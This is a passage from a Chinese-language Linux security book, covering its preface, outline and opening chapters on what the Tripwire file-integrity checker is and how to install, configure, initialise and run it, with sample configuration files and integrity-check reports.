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前言


任何事情存在都有它的道理，Linux 操作系统下的文件也是一样。如果存在着安全，那么也就一定存在着不安全。因此，我们有必要认识什么是安全和不安全。

无论你是简单的办公环境，还是比较繁忙的公司业务，系统安全总是必不可少的，然而性能和安全可能总会成反比，不过如果一味地去追求效率性能而抛弃安全，那么出问题就会成为必然。对于安全，千万不要抱着侥幸心理，安全问题无处不在，可以说它出现有随机性，但是随机的背后却会隐藏着必然性，因此，责任安全无小事，一定要安全在前，生产在后。

本书是我在运维工作中的一点总结，谈不上是什么高深的理论，而且我也觉得没有什么必要去谈理论，实践出真知，因此我们就从实际的部署开始去研究Linux系统下文件的安全防范。一定要记住，安全运维无小事，偶然之后隐藏着必然，这是我们安全工作者和运维工作者必须具备的思想。


本书内容


本书共包括了3个部分，共15章的内容：

上篇 文件完整性

中篇 Linux下病毒的防治

下篇 恢复认为损坏的文件


上篇 文件完整性


在上篇中，包括了以下9章内容，主要介绍的是文件的完整性。

第1章 介绍Tripwire 软件。这一部分是专门为没有接触过Tripwire软件的系统管理员，或者是不熟悉完整性评估(integrity assessment)的安全工作者而准备的，如果是有经验的Tripwire 用户，可以直接跳过本章。

第2章 使用Tripwire。这一章描述的是配置文件和Tripwire软件安装后的使用，以及Tripwire软件的安装。

第3章 Tripwire 命令参考。本章主要介绍了Tripwire的命令及其工作模式。

第4章 策略参考。这一部分描述的是Tripwire 策略文件的组成。策略文件包括一系列的规则，以便控制Tripwire软件检测系统。对于UNIX和Linux系统来说，被扫描的系统对象就是文件和目录。

第5章 配置文件参考。这一章讲述的是配置文件 tw.cfg，这个文件存储了 Tripwire 软件的配置信息，如用于完整性检测的文件存储位置等。

第6章 Tripwire 使用实例。本部分以实验的形式讲述了tripwire软件的安装与部署。

第7章 认识 AIDE。本章主要介绍 AIDE 的功能、安装要求以及它的基本用法和它的工作流程图，最后还会介绍其安装后的目录结构。

第8章 使用AIDE。本章主要讲述AIDE 的使用，并讲述了配置文件和AIDE的规则。

第9章 使用 ICU。本章讲述ICU服务器的原理、构建和使用。


中篇 Linux下病毒的防治


中篇共包括5章内容，主要讲述了ClamAV的应用，通过它来保护文件。

第10章 Clam AntiVirus。本章主要是对抗病毒软件ClamAntiVirus进行讲述，掌握它的安装以及认识CVD的格式。

第11章 Clamd 服务器。本章主要介绍编译安装 clamav、定制配置文件及与其他服务的结合。

第12章 Clamd 与用户文件系统。本章的主要介绍clamfs 用户文件系统，clamuko 、dazuko及dazukofs。

第13章 Linux 下的服务与Clamdav。本章讲述的是运行在Linux的各种服务与clamdav 的结合，以便使用clamav对服务进行防护。

第14章 监控与管理clamd。本章中我们首先为 Clamd 建立一个启动管理脚本，这样就可以通过service命令来对clamd进程进行管理；然后介绍了两个工具，即clamdmon和clamdwatch工具；最后是ClamAV提供的8个命令：clamd、clamconf、clamdscan、clamdtop、clamscan、freshclam、sigtool、clamav-config，不同的命令提供了不同的功能。


下篇 恢复人为损坏的文件


下篇主要讨论了如何在ext3和ext4文件系统下恢复人为删除的文件。

第15章 对 ext3 下的文件恢复。任何一个系统管理员，无论是有经验的老手还是没有经验的新手，误删除一个有用的文件是迟早会发生的事，发生了这种事后果你比谁都清楚，因此，在这一章中我们主要研究ext3下人为删除文件的恢复。

第16章 对 ext4 下的文件恢复。由于 ext4 文件系统现在已经被一些 linux 版本使用，因此我们也有必要掌握该文件系统下人为删除文件的恢复，本章正是本着这个出发点而写的。


使用对象


● 广大的Linux爱好者

● 具有一定Linux 基础的系统管理员

● Linux系统安全管理员

● 讲授Linux安全的培训机构


内容导读


本书分为3个部分，每一部分都可以单独阅读，它们之间没有必然的联系，然而对于每一部分中的内容，除第三部分外，最好按照章节的顺序阅读，否则会带来很大的障碍。

[image: figure_0005_0001]
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第1章 Tripwire软件简介


这一章是专门为没有接触过Tripwire软件的系统管理员，或者是不熟悉完整性评估（integrity assessment）的人而准备的，有经验的Tripwire 用户可以直接跳过本章。

本章涵盖了以下内容。

Tripwire软件的定义

Tripwire软件的部署

Tripwire软件的组成和安全功能

Tripwire软件的工作机制

Tripwire软件的应用




1.1 什么是Tripwire


Tripwire软件是一种文件完整性评估（file integrity assessment）的入侵检测工具,它可以和其他的工具软件（如防火墙等）共同组成企业最基本的防御体系。实际上，在安全的结构体系中，它被作为最后的一层。说得简单点，就是当一个你不期望的用户闯入你的系统后，他的所作所为——无非就是查看或修改你的文件，当然也有可能添加或删除文件，那么你如何知道他的所作所为呢？使用Tripwire软件，它会密切记载用户的这些操作，这时候你就会不由得对它说谢谢了！

Tripwire 软件第一次扫描计算机系统，并且为这个自认为是安全的环境建立一个简捷的数字“快照（snapshot）”，从而建立了文件系统的数据库文件。在一个企业中，可以精确地配置Tripwire软件，在每台机器上指定个别文件和目录监控，或者为所有的机器建立一个标准模板。

一旦创建了基线数据库（baseline database）——就是上面提到的“第一次”，系统的管理员就可以在任何时候检测文件的完整性，通过扫描当前系统，然后再与存储在基线数据库中的信息作比较，就可以得到是否对文件系统做过改变。Tripwire 软件的检测报告中用分界线清楚地分割出了每一项改变。管理员如果认为这些改变是有效的，就可以用新的信息升级基线数据库；如果发现的是恶意改变，那么系统管理员必须立即查明原因，而且要查看网络中其他机器是否受到影响。




1.2 Tripwire软件的部署


需要注意的是 Tripwire 软件不能够替代防火墙或者其他的有关安全的边缘设备。事实上，Tripwire软件是基于主机的，必须部署在服务器或工作站上。

如图1.1所示。

[image: figure_0017_0002]
图1.1 在网络上部署Tripwire软件



Tripwire 软件工作在许多方面以保证网络的完整性。因为它能够检测入侵，所以经常被部署成“警卫看守（guard the guards）”——就是个汪汪叫的看门狗，以便监视防火墙的完整性，检测其他被认为是攻击目标的网络安全装置的完整性。与此同时，Tripwire 软件还能够监控防火墙内的所有系统，检测并报告无论是穿过防火墙还是系统内发起的那些不希望的改变。

由于Tripwire软件可以检测出任何原因所致的文件系统的改变，因此Tripwire软件比其他类型的安全软件有很多优势。许多其他的入侵检测工具利用的是异常检测，通过查询一个基于“攻击签名（attack signatures）”的分类库来识别是否异常。可问题是黑客的攻击手段每天都在改变，没有一种检测工具能够及时地跟上这种快速的变化。




1.3 Tripwire软件的组成


在本书中，每涉及一个软件，我们都尽可能地分析软件在安装前后的目录结构，以便了解软件的功能和使用方法。

下面我们分析Tripwire软件安装后的目录结构及各部分的功能。




1.3.1 目录结构


下面是Tripwire软件安装后的目录结构。

[root@mail local]# tree tripwire/

tripwire/

|-- doc

|　'-- tripwire

|　　|-- COPYING

|　　|-- TRADEMARK

|　　'-- policyguide.txt

|-- etc

|　|-- mail-local.key

|　|-- site.key

|　|-- tw.cfg

|　|-- tw.pol

|　|-- twcfg.txt

|　'-- twpol.txt

|-- lib

|　'-- tripwire

|　　|-- report

|　　|　'-- mail-20100211-164741.twr

|　　'-- mail.twd

|-- man

|-- sbin

|　|-- siggen

|　|-- tripwire

|　|-- twadmin

|　'-- twprint

'-- share

'-- man

|-- man4

| |-- twconfig.4

| '-- twpolicy.4

|-- man5

| '-- twfiles.5

'-- man8

|-- siggen.8

|-- tripwire.8

|-- twadmin.8

|-- twintro.8

'-- twprint.8

可以看到有6类目录。

（1）目录doc下是一些版权和使用政策文件。

（2）目录etc下的文件比较重要。

mail-local.key：这是本地密钥（local key）。

site.key：这是站点密钥（site key）。

tw.cfg：配置模式的配置文件，是由twcfg.txt文件经过二进制编码和用站点密钥加密并签名而成。

tw.pol：策略模式的策略文件，是由twpol.txt文件经过二进制编码和用站点密钥加密并签名而成。

twcfg.txt：文本模式的配置文件，可用于文本编辑以修改配置模式的配置文件。

twpol.txt：文本模式的策略文件，可用于文本编辑以修改策略模式的策略文件。

（3）目录lib下的文件也比较重要。

这个目录下包括一个文件mail.twd和一个目录report。

mail.twd：这是后续章节要经常提到的数据库文件，它是一个经过二进制编码和用本地密钥加密签名的文件。

Report：这个目录下存放的是完整性检测报告文件，如mail-20100211-164741.twr，这些文件是经过二进制编码的文件，默认情况下没有加密签名。

以上这些文件命名方式都是在配置文件中设定的，另外所有这些经过加密签名的文件其加密类型和加密时所用的密钥都可以通过Twadmin 检测加密模式（Examine Encryption mode）检测出来，后文将有详述。

（4）目录man。

这是一个空的目录，本来应该用来放置man文档，可不知为什么man文档被放置到share目录下了。这无关紧要，只要能够找到man文档就可以了。

（5）目录sbin。

这个目录中的文件都是Tripwire的命令。

Siggen：可以通过Siggen工具来显示指定文件的hashes值。

Tripwire：这个命令有5种工作模式，包括数据库初始化、完整性检测、数据库升级、策略升级以及测试邮件。

Twadmin：Twadmin命令有8中工作模式，包括建立配置文件、打印配置文件、建立策略文件、打印策略文件、加密文件、移除加密、检测加密和创建密钥。

Twprint：Twprint 可用来在不加密的文本状态下查看和打印数据库文件和报告文件，因此它有2种工作模式。

（6）目录share：

这个目录下放置的都是man文档。




1.3.2 部分文件的作用


1．策略文件（policy file）

策略文件是管理员用以指定Tripwire软件检测系统的一种方式，策略文件中的每一条规则都指定了一个系统对象，以及一个用来描述是检测还是忽略的属性组。

2．数据库文件（database file）

数据库文件是完整性评估的核心。当Tripwire软件第一次被安装，并用指定的策略在一个认为是安全的环境下建立了计算机系统的“快照”，在以后的完整性检测中，这个“基线数据库”总是要与当前的系统状态进行比较，以便发现是否有任何改变。

3．报告文件（Report files）

报告文件是每次运行完整性检测后产生的，检测的结果包括任何违反策略规则的改变（如：增加、删除或者修改的文件）。报告文件概述了完整性检测的结果，并且可以通过多种格式查看。

4．配置文件（configuration file）

配置文件用来存储系统特定的信息，例如Tripwire软件的数据库文件的位置，设置E-mail收件人等等。有些信息是在Tripwire软件安装过程中生成的，但是管理员可以在任何时候改变这些参数。




1.3.3 非对称加密


为了保护Tripwire软件本身免受非法修改，所有重要的Tripwire文件都要经过二进制编码并签名后保存在磁盘上，如数据库文件、策略文件和配置文件，可选的还有报告文件，都可以被El Gamal非对称加密系统的1024位签名。

El Gamal签名过程使用联系在一起的一组密钥，一个公钥（public key）,一个私钥（private key）。在Tripwire软件的加密系统中，两个key文件分别存储公钥/私钥。站点密钥被用来保护策略和配置文件，站点密钥可用于整个站点，本地密钥用来保护Tripwire数据库及其报告文件。

这种结构使得站点管理员可以只写一个单一的策略文件而应用于整个站点。和许多加密系统不同，Tripwire 软件使用加密签名，以防止未经授权的写文件,而不是读文件。只有公钥需要读文件,而且公钥对所有用户都有效，每个人都可以查看这些文件。然而，编辑或是替换这些文件需要私钥。

在这个时候，你必须选择一个密码短语（passphrase）,从而生成一个密钥文件，记住密码短语很重要，因为密码短语是不在系统中存储的，Tripwire 公司也无法为你恢复“丢失（lost）”的密码短语。

[image: figure_0020_0003]


安全问题：

加密技术不能对抗所有的攻击，例如删除 Tripwire 软件数据库文件。为了安全最大化，重要的文件要利用Tripwire软件的siggen命令作定期验证，并且与可靠的备份作比较，或者把它们存储在只读的介质上。




1.4 Tripwire软件工作原理


在系统中安装了Tripwire软件后，需要对它进行一些基本的配置。

（1）编辑默认的策略文件，或者建立一个定制的策略文件，以便于对特定的对象进行监控。

（2）利用策略文件中的规则，Tripwire 软件收集指定对象的数据并且初始化 Tripwire 软件数据库文件。一般来说，这一步是在Tripwire软件首次安装后只做一次。

当建立了数据库文件后，以下的步骤将成为常规操作。

（3）当运行了完整性检测后，Tripwire通过将当前系统的对象与数据库文件中的对象（objects）进行比较，生成一份检测报告。检测报告可以通过电子邮件发送给指定的收件人。

（4）如果发现有任何违反策略文件中的规则的文件，那么必须利用检测报告所给的信息，以便决定这种改变是否是被允许的。

（5）如果发现是未经授权的改变，那么就必须采取适当的措施，其中包括从备份上恢复文件，或者是做其他的安全操作，以防止进一步入侵。

如果发现是授权的改变，那么就升级Tripwire软件数据库文件，以便及时反映该系统的改变，防止这些变化被标记为入侵导致的变化。

在解决了所有被发现的变化之后，再运行一次完整性检测，以便确保所有的变化都已经被解决了。

如果想升级一个已有的策略文件，以便加入新的对象（objects），或者是从数据库文件中删除对象，这些操作都会在Tripwire软件的报告文件中体现出来。

Tripwire软件的处理过程如图1.2所示。

[image: figure_0021_0004]
图1.2 Tripwire软件的处理过程






第2章 Tripwire的安装与部署


本章以实验的形式讲述Tripwire软件的安装与部署。你可以先看一下编译安装部分，有关其他的部分可以在学习完后续的章节后再回过头来看。




2.1 Tripwire软件的编译安装


首先要进行的实验是安装Tripwire 软件，使用环境是Red HatAS5 Linux系统和从官方网站下载的Tripwire最新版本2.4.1.2。




2.1.1 安装环境


[root@nas ～]# uname -a

Linux nas 2.6.18-128.el5 #1 SMP Wed Dec 17 11:42:39 EST 2008 i686 i686 i386 GNU/Linux




2.1.2 下载Tripwire软件


下载地址（可以使用wget工具）如下所示。

[root@nas ～]# wget

http://cdnetworks-kr-1.dl.sourceforge.net/project/tripwire/tripwire-src/tripwire-2.4.1.2-src/tripwire-2.4.1.2-src.tar.bz2




2.1.3 解压压缩包


[root@nas ～]# tar -jxvf tripwire-2.4.1.2-src.tar.bz2

[root@nas ～]#cd tripwire-2.4.1.2-src




2.1.4 编译安装


参考INSTALL文件，注意黑体字部分，INSTALL文件内容如下。

[root@nas tripwire-2.4.1.2-src]# more INSTALL

Building from source

====================

./configure --prefix=/path/to/install

make

If you want statically linked binaries, throw the --enable-static for

configure. Note that statically linked binaries are not possible on all

platforms.

Once the compile is finished, you'll find binaries in the bin/ directory.

Installation

============

Edit the settings in install/install.cfg and run "make install".

在INSTALL文件的最后一行，允许我们对安装配置文件进行修改，然后再运行“make install”，下面我们看一下install.cfg文件。

[root@nas install]# more install.cfg

#

# install.cfg

#

# default install.cfg for:

# Tripwire(R) 2.4 Open Source

#

# NOTE: This is a Bourne shell script that stores installation

#　　parameters for your installation.　The installer will

#　　execute this file to generate your config file and also to

#　　locate any special configuration needs for your install.

#　　Protect this file, because it is possible for

#　　malicious code to be inserted here

#

# This version of Tripwire has been modified to conform to the FHS

# standard for Unix-like operating systems.

#

# To change the install directory for any tripwire files, modify

# the paths below as necessary.

#

#=======================================================

# If CLOBBER is true, then existing files are overwritten.

# If CLOBBER is false, existing files are not overwritten.

CLOBBER=false

# Tripwire binaries are stored in TWBIN.

TWBIN="${prefix}/sbin"

# Tripwire policy files are stored in TWPOLICY.

TWPOLICY="${sysconfdir}"

# Tripwire manual pages are stored in TWMAN.

TWMAN="${prefix}/man"

# Tripwire database files are stored in TWDB.

TWDB="${prefix}/lib/tripwire"

# Tripwire documents directory

TWDOCS="${prefix}/doc/tripwire"

# The Tripwire site key files are stored in TWSITEKEYDIR.

TWSITEKEYDIR="${TWPOLICY}"

# The Tripwire local key files are stored in TWLOCALKEYDIR.

TWLOCALKEYDIR="${TWPOLICY}"

# Tripwire report files are stored in TWREPORT.

TWREPORT="${TWDB}/report"

# This sets the default text editor for Tripwire.

TWEDITOR="${path_to_vi}"

# TWLATEPROMTING controls the point when tripwire asks for a password.

TWLATEPROMPTING=true

# TWLOOSEDIRCHK selects whether the directory should be monitored for

# properties that change when files in the directory are monitored.

TWLOOSEDIRCHK=false

# TWMAILNOVIOLATIONS determines whether Tripwire sends a no violation

# report when integrity check is run with --email-report but no rule

# violations are found. This lets the admin know that the integrity

# was run, as opposed to having failed for some reason.

TWMAILNOVIOLATIONS=true

# TWEMAILREPORTLEVEL determines the verbosity of e-mail reports.

TWEMAILREPORTLEVEL=3

# TWREPORTLEVEL determines the verbosity of report printouts.

TWREPORTLEVEL=3

# TWSYSLOG determines whether Tripwire will log events to the system log

TWSYSLOG=false

#####################################

# Mail Options - Choose the appropriate

# method and comment the other section

#####################################

#####################################

# SENDMAIL options - DEFAULT

#

# Either SENDMAIL or SMTP can be used to send reports via TWMAILMETHOD.

# Specifies which sendmail program to use.

#####################################

TWMAILMETHOD=SENDMAIL

#####################################

# SMTP options

#

# TWSMTPHOST selects the SMTP host to be used to send reports.

# SMTPPORT selects the SMTP port for the SMTP mail program to use.

#####################################

#TWMAILMETHOD=SMTP

#TWSMTPHOST="mail.domain.com"

#TWSMTPPORT=25

# If sendmail wasn't found in the path, set then clear out

# TWMAILPROGRAM so the install.sh does the right thing and

# tells the user about the missing configuration

#

if [ -z "$path_to_sendmail" ] ; then

TWMAILPROGRAM=""

else

TWMAILPROGRAM="${path_to_sendmail} -oi -t"

fi

这是一个shell脚本文件，其中存储的都是安装参数，你可以根据实际情况对它们进行修改，在安装时将会执行该脚本，并且会产生config文件。根据你的实际情况修改该文件，对于以后使用Tripwire软件会有很大的益处，例如你可以制定一个特殊的配置安装文件，以便来保护文件。




2.1.5 安装过程


[root@nas tripwire-2.4.1.2-src]# ./configure --prefix=/usr/local/tripwire/

checking build system type... i686-pc-linux-gnu

checking host system type... i686-pc-linux-gnu

……　　　　　　　　　　　　　//省略过程

[root@nas tripwire-2.4.1.2-src]# make　　　　//这个过程比较长

make all-recursive

make[1]: Entering directory '/root/tripwire-2.4.1.2-src'

Making all in man

make[2]: Entering directory '/root/tripwire-2.4.1.2-src/man'

Making all in man4

……//省略过程

[root@nas tripwire-2.4.1.2-src]# make install

Making install in man

make[1]: Entering directory '/root/tripwire-2.4.1.2-src/man'

Making install in man4

……//省略过程

Press ENTER to view the License Agreement.　　　//查看许可证协议,

……//省略过程

This General Public License does not permit incorporating your program into

proprietary programs. If your program is a subroutine library, you may

consider it more useful to permit linking proprietary applications with the

library. If this is what you want to do, use the GNU Library General

Public License instead of this License.

Please type "accept" to indicate your acceptance of this

//同意《许可证协议》，则输入"accept"，

license agreement. [do not accept]　　　　　//否则直接回车退出

……//省略过程

This program will copy Tripwire files to the following directories:

TWBIN: /usr/local/tripwire/sbin

TWMAN: /usr/local/tripwire/man

TWPOLICY: /usr/local/tripwire/etc

TWREPORT: /usr/local/tripwire/lib/tripwire/report

TWDB: /usr/local/tripwire/lib/tripwire

TWSITEKEYDIR: /usr/local/tripwire/etc

TWLOCALKEYDIR: /usr/local/tripwire/etc

CLOBBER is false.

Continue with installation? [y/n]　　　　　//查看以上内容是否正确，决定是否安装

//选择“y”后，执行下一步

……//省略过程

See the Tripwire manual for more information.

----------------------------------------------

Creating key files...

(When selecting a passphrase, keep in mind that good passphrases typically have upper and lower case letters, digits and punctuation marks, and are at least 8 characters in length.)

Enter the site keyfile passphrase:

//在此输入建立站点密钥文件（site key）的密码短语

Verify the site keyfile passphrase:　　　　　　//确认密码短语

……//省略过程

Enter the local keyfile passphrase:

//在此输入建立本地密钥文件（local key）的密码短语

Verify the local keyfile passphrase:　　　　　//确认密码短语

……//省略过程

----------------------------------------------

Generating Tripwire configuration file...

----------------------------------------------

Creating signed configuration file...

Please enter your site passphrase:

//要建立配置文件，所以要输入站点密码短语

……//省略过程

----------------------------------------------

Customizing default policy file...

----------------------------------------------

Creating signed policy file...

Please enter your site passphrase:

//要建立策略文件，所以要输入站点密码短语

……//省略过程

The installation succeeded.　　　　//看到这一行就OK了！

Please refer to

for release information and to the printed user documentation

for further instructions on using Tripwire 2.4 Open Source.

make[3]: Leaving directory '/root/tripwire-2.4.1.2-src'

make[2]: Leaving directory '/root/tripwire-2.4.1.2-src'

make[1]: Leaving directory '/root/tripwire-2.4.1.2-src'

这是安装完成后的目录结构。

[root@nas local]# tree tripwire/

tripwire/

|-- doc

|　'-- tripwire　　　　　　　//该目录下为文本文件

|　　|-- COPYING　　　　　　　//有必要对文件policyguide.txt研究一下

|　　|-- TRADEMARK

|　　'-- policyguide.txt

|-- etc　　　　　　　　　//该目录下是配置文件，在后面的章节中

|　|-- nas -local.key　　　　　　//都有解释

|　|-- site.key

|　|-- tw.cfg

|　|-- tw.pol

|　|-- twcfg.txt

|　'-- twpol.txt

|-- lib　　　　　　　　　//报告生成的地方

|　'-- tripwire

|　　'-- report

|-- man

|-- sbin　　　　　　　　　//可执行的二进制命令

|　|-- siggen

|　|-- tripwire

|　|-- twadmin

|　'-- twprint

'-- share　　　　　　　　　//man文档

'-- man

|-- man4

|　|-- twconfig.4

|　'-- twpolicy.4

|-- man5

| '-- twfiles.5

'-- man8

|-- siggen.8

|-- tripwire.8

|-- twadmin.8

|-- twintro.8

'-- twprint.8

关于每一个目录的作用，前边的章节中已有解释。




2.2 定制Tripwire软件


为了让Tripwire软件有效地工作，往往需要修改配置文件，还需要根据情况定制策略，生成新的策略文件。默认生成的策略文件几乎对系统做完全的监控，这种情况没多大必要。




2.2.1 修改配置文件


其实，默认的配置文件已经符合使用要求了，为了演示一下修改配置文件的操作，这里将原有的

EMAILREPORTLEVEL =3

改为5，修改后的文件twcfg.txt内容如下。

[root@nas etc]# more twcfg.txt

ROOT　　　=/usr/local/tripwire/sbin

POLFILE　　　=/usr/local/tripwire/etc/tw.pol

DBFILE　　　=/usr/local/tripwire/lib/tripwire/$(HOSTNAME).twd

REPORTFILE　　=/usr/local/tripwire/lib/tripwire/report/$(HOSTNAME)-$(DATE).twr

SITEKEYFILE　　=/usr/local/tripwire/etc/site.key

LOCALKEYFILE　=/usr/local/tripwire/etc/nas-local.key

EDITOR　　　=/bin/vi

LATEPROMPTING　=true

LOOSEDIRECTORYCHECKING =false

MAILNOVIOLATIONS =true

EMAILREPORTLEVEL =5

REPORTLEVEL　　=3

MAILMETHOD　　=SENDMAIL

SYSLOGREPORTING　=false

MAILPROGRAM　　=/usr/sbin/sendmail -oi -t

修改完成twcfg.txt文本文件后，再执行如下操作。

[root@nas sbin]# pwd

/usr/local/tripwire/sbin

[root@nas sbin]# ./twadmin --create-cfgfile --site-keyfile ../etc/site.key ../etc/twcfg.txt

Please enter your site passphrase:　　　　　//要求输入站点密码短语

Wrote configuration file: /usr/local/tripwire/etc/tw.cfg




2.2.2 测试邮件


[root@nas sbin]# ./tripwire --test --email ×××@126.com

Sending a test message to: ×××@126.com

进入邮箱查看邮件。
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说明收到测试邮件。




2.2.3 修改策略文件


默认的策略文件比较大，下面是修改后的策略文件。

[root@nas etc]# cat twpol.txt

#############################################################################

###############################################################################

#　　　　Policy file for Red Hat Linux　　　　　　　　##

#　　　　　　　　　　　　　　　　　　　##

###############################################################################

###############################################################################

#　　　　　　　　　　　　　　　　　　　# #

#　　　　　　　　　　　　　　　　　　　# #

#　　　　　　　　　　　　　　　　　　　# #

# Global Variable Definitions　　　　　　　　　　　　# #

#

#

# These are defined at install time by the installation script.　You may　# #

# Manually edit these if you are using this file directly and not from the　# #

# installation script itself.　　　　　　　　　　　　# #

#

##

##############################################################################

@@section GLOBAL

TWDOCS="/usr/local/tripwire/doc/tripwire";

TWBIN="/usr/local/tripwire/sbin";

TWPOL="/usr/local/tripwire/etc";

TWDB="/usr/local/tripwire/lib/tripwire";

TWSKEY="/usr/local/tripwire/etc";

TWLKEY="/usr/local/tripwire/etc";

TWREPORT="/usr/local/tripwire/lib/tripwire/report";

HOSTNAME=nas

#

##############################################################################

#　Predefined Variables　　　　　　　　　　　　　　#

##############################################################################

#

# Property Masks

#

# - ignore the following properties

# + check the following properties

#

# a access timestamp (mutually exclusive with +CMSH)

# b number of blocks allocated

# c inode creation/modification timestamp

# d ID of device on which inode resides

# g group id of owner

# i inode number

# l growing files (logfiles for example)

# m modification timestamp

# n number of links

# p permission and file mode bits

# r ID of device pointed to by inode (valid only for device objects)

# s file size

# t file type

# u user id of owner

#

# C CRC-32 hash

# H HAVAL hash

# M MD5 hash

# S SHA hash

#

##############################################################################

Device　　= +pugsdr-intlbamcCMSH ;

Dynamic　　= +pinugtd-srlbamcCMSH ;

Growing　　= +pinugtdl-srbamcCMSH ;

IgnoreAll　　= -pinugtsdrlbamcCMSH ;

IgnoreNone　　= +pinugtsdrbamcCMSH-l ;

ReadOnly　= +pinugtsdbmCM-rlacSH ;

Temporary　　= +pugt ;

@@section FS

########################################

#　　　　　　　　　　##

######################################## #

#　　　　　　　　　　# #

#　Tripwire Binaries and Data Files　# #

#　　　　　　　　　　##

########################################

# Tripwire Binaries

(

rulename = "Tripwire Binaries",

)

{

$(TWBIN)/siggen　　　　　　-> $(ReadOnly) ;

$(TWBIN)/tripwire　　　　　-> $(ReadOnly) ;

$(TWBIN)/twadmin　　　　　　-> $(ReadOnly) ;

$(TWBIN)/twprint　　　　　　-> $(ReadOnly) ;

}

# Tripwire Data Files - Configuration Files, Policy Files, Keys, Reports, Databases

(

rulename = "Tripwire Data Files",

)

{

# NOTE: We remove the inode attribute because when Tripwire creates a backup,

# it does so by renaming the old file and creating a new one (which will

# have a new inode number). Inode is left turned on for keys, which shouldn't

# ever change.

# NOTE: The first integrity check triggers this rule and each integrity check

# afterward triggers this rule until a database update is run, since the

# database file does not exist before that point.

$(TWDB)　　　　　　　　-> $(Dynamic) -i ;

$(TWPOL)/tw.pol　　　　　　-> $(ReadOnly) -i ;

$(TWPOL)/tw.cfg　　　　　　-> $(ReadOnly) -i ;

$(TWLKEY)/$(HOSTNAME)-local.key　　-> $(ReadOnly) ;

$(TWSKEY)/site.key　　　　　-> $(ReadOnly) ;

# don't scan the individual reports

$(TWREPORT)　　　　　　-> $(Dynamic) (recurse=0) ;

}

################################################

#　　　　　　　　　　　##

################################################ #

#　　　　　　　　　　　# #

#　sdb directory　　　　　　　# #

#　　　　　　　　　　　##

################################################

(

rulename = "sdb directory",

)

{

/sdb　　　　　　　　-> $(ReadOnly) ;

!/sdb/lib/ ;　　　　　　# Ignore most of this directory

}




2.2.4 生成二进制加密签名策略文件


修改完twpot.txt文件后，再执行如下操作。

[root@nas sbin]# ./twadmin --create-polfile --site-keyfile ../etc/site.key ../etc/twpol.txt

Please enter your site passphrase:

Wrote policy file: /usr/local/tripwire/etc/tw.pol

将文本的策略文件生成二进制加密签名文件。




2.3 初始化数据库


[root@nas sbin]# ./tripwire --init

Parsing policy file: /usr/local/tripwire/etc/tw.pol

Generating the database...

*** Processing Unix File System ***

Please enter your local passphrase:　　　//输入本地密码短语

Wrote database file: /usr/local/tripwire/lib/tripwire/nas.twd

The database was successfully generated.




2.4 进行完整性检测


1．安装完成后的第一次完整性检测

[root@nas sbin]# ./tripwire --check

Parsing policy file: /usr/local/tripwire/etc/tw.pol

*** Processing Unix File System ***

Performing integrity check...

Wrote report file: /usr/local/tripwire/lib/tripwire/report/nas-20100221-134913.twr

Open Source Tripwire(R) 2.4.1 Integrity Check Report

Report generated by:　　　root

Report created on:　　　Sun 21 Feb 2010 01:49:13 PM CST

Database last updated on:　　Never

==============================================================

Report Summary:

==============================================================

Host name:　　　　　　nas

Host IP address:　　　　　192.168.3.34

Host ID:　　　　　　　None

Policy file used:　　　　　/usr/local/tripwire/etc/tw.pol

Configuration file used:　　　/usr/local/tripwire/etc/tw.cfg

Database file used:　　　　/usr/local/tripwire/lib/tripwire/nas.twd

Command line used:　　　.　　/tripwire --check

=============================================================

Rule Summary:

=============================================================

-------------------------------------------------------------------------------

Section: Unix File System

-------------------------------------------------------------------------------

Rule Name　　Severity Level 　　Added 　　Removed 　　Modified

---------------------------- ------- --------

* Tripwire Data Files　　　0　　　1　　0　　0

Tripwire Binaries　　　0　　　0　　0　　0

sdb directory　　　　0　　　0　　0　　0

(/sdb)

Total objects scanned: 128

Total violations found: 1

=========================================================

Object Summary:

=========================================================

-------------------------------------------------------------------------------

# Section: Unix File System

-------------------------------------------------------------------------------

-------------------------------------------------------------------------------

Rule Name: Tripwire Data Files (/usr/local/tripwire/lib/tripwire)

Severity Level: 0

-------------------------------------------------------------------------------

Added:

"/usr/local/tripwire/lib/tripwire/nas.twd"

==============================================================

Error Report:

==============================================================

No Errors

-------------------------------------------------------------------------------

*** End of report ***

Open Source Tripwire 2.4 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered

trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;

for details use --version. This is free software which may be redistributed

or modified only under certain conditions; see COPYING for details.

All rights reserved.

Integrity check complete.

可以看出有文件“/usr/local/tripwire/lib/tripwire/nas.twd”被添加。

2．修改文件后再进行完整性检测

在/sdb目录下做了一些修改，然后再次做完整性检测，报告如下。

[root@nas sbin]# ./tripwire --check

Parsing policy file: /usr/local/tripwire/etc/tw.pol

*** Processing Unix File System ***

Performing integrity check...

Wrote report file: /usr/local/tripwire/lib/tripwire/report/nas-20100221-143415.twr

Open Source Tripwire(R) 2.4.1 Integrity Check Report

Report generated by:　　　root

Report created on:　　　Sun 21 Feb 2010 02:34:15 PM CST

Database last updated on:　　Never

===================================================

Report Summary:

===================================================

Host name:　　　　　nas

Host IP address:　　　　192.168.3.34

Host ID:　　　　　　None

Policy file used:　　　　/usr/local/tripwire/etc/tw.pol

Configuration file used:　　/usr/local/tripwire/etc/tw.cfg

Database file used:　　　/usr/local/tripwire/lib/tripwire/nas.twd

Command line used:　　　./tripwire --check

=======================================================

Rule Summary:

=======================================================

-------------------------------------------------------------------------------

Section: Unix File System

-------------------------------------------------------------------------------

Rule Name　　　　Severity Level　Added　Removed　Modified

---------　　　　--------------　-----　-------　--------

* Tripwire Data Files　　　0　　　1　　0　　0

Tripwire Binaries　　　0　　　0　　0　　0

* sdb directory　　　　0　　　0　　1　　2

(/sdb)

Total objects scanned: 127

Total violations found: 4

===========================================================

Object Summary:

===========================================================

-------------------------------------------------------------------------------

# Section: Unix File System

-------------------------------------------------------------------------------

-------------------------------------------------------------------------------

Rule Name: Tripwire Data Files (/usr/local/tripwire/lib/tripwire)

Severity Level: 0

-------------------------------------------------------------------------------

Added:

"/usr/local/tripwire/lib/tripwire/nas.twd"

-------------------------------------------------------------------------------

Rule Name: sdb directory (/sdb)

Severity Level: 0

-------------------------------------------------------------------------------

Removed:

"/sdb/samba-swat-3.0.33-3.7.el5.i386.rpm"

Modified:

"/sdb"

"/sdb/ft"

=======================================================

Error Report:

=======================================================

No Errors

-------------------------------------------------------------------------------

*** End of report ***

Open Source Tripwire 2.4 Portions copyright 2000 Tripwire, Inc. Tripwire is a registered

trademark of Tripwire, Inc. This software comes with ABSOLUTELY NO WARRANTY;

for details use --version. This is free software which may be redistributed

